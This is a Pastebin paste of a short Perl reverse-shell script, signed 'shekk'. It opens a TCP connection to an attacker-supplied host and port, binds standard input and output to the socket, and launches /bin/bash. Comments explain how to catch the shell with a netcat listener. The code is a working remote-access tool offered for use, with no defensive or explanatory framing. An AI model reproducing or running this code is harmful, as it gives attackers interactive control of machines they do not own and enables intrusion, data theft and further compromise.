Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- #this is a simple shell connect-back script.
- #nc -vv -l -p [port] (do this on the remote box you will be sending commands from)
- #./shekkback.pl [YOUR_BOX_IP] [port]
- #-shekk
- use IO::Socket;
- use Socket;
- use FileHandle;
- $shellbin = '/bin/bash';
- $ARGC=@ARGV;
- if ($ARGC!=2) {
- print "$0 host port \n\n";
- die;
- }
- socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die
- print "cant resolve host\n";
- connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die
- print "cant connect\n";
- SOCKET->autoflush();
- open(STDIN, ">&SOCKET");
- open(STDOUT,">&SOCKET");
- open(STDERR,">&SOCKET");
- system($shellbin);
Add Comment
Please, Sign In to add comment